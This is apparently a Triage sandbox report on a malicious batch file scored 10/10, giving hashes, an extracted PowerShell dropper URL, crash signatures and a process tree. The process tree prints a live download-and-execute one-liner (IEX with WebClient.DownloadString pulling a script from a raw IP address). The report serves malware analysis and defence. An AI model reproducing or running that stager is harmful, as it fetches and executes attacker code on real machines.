2f7e36eabad58aa80b8ad798095771fcbd5670e8d4684ae942666ce2a086bb24 | Triage

Analysis

max time kernel
143s
max time network
66s
platform
windows10_x64
resource
win10v200430
submitted
08-06-2020 00:10

Sharing

Report Analysis Logs

General

Target

30c96bd5d55b4ede2ca100b6224868a5.bat
Size

213B
MD5

5ae8dd965aa55e41ed206290cfbb9a9c
SHA1

6d948a52ac79ff84600ee780122920ddd586ca62
SHA256

2f7e36eabad58aa80b8ad798095771fcbd5670e8d4684ae942666ce2a086bb24
SHA512

0dde15a4d13e9cbb065df025ede606e37de6f6be2fa55495891694f564a4b776884fa1eaa2b7d44cbdac9d79cb24d1d5f16ffc8d347fc3626de2959515420629

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/30c96bd5d55b4ede2ca100b6224868a5

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

360 592 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 360 WerFault.exe
Token: SeBackupPrivilege 360 WerFault.exe
Token: SeDebugPrivilege 360 WerFault.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

pid	process
360	WerFault.exe
360	WerFault.exe
360	WerFault.exe
360	WerFault.exe
360	WerFault.exe
360	WerFault.exe
360	WerFault.exe
360	WerFault.exe
360	WerFault.exe
360	WerFault.exe
360	WerFault.exe
360	WerFault.exe
360	WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\30c96bd5d55b4ede2ca100b6224868a5.bat"
1⤵
PID:3664

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/30c96bd5d55b4ede2ca100b6224868a5');Invoke-BEQEFP;Start-Sleep -s 10000"
2⤵
PID:592

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 592 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:360

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/360-0-0x0000000004510000-0x0000000004511000-memory.dmp

Filesize
4KB

Download
memory/360-1-0x0000000004A40000-0x0000000004A41000-memory.dmp

Filesize
4KB

Download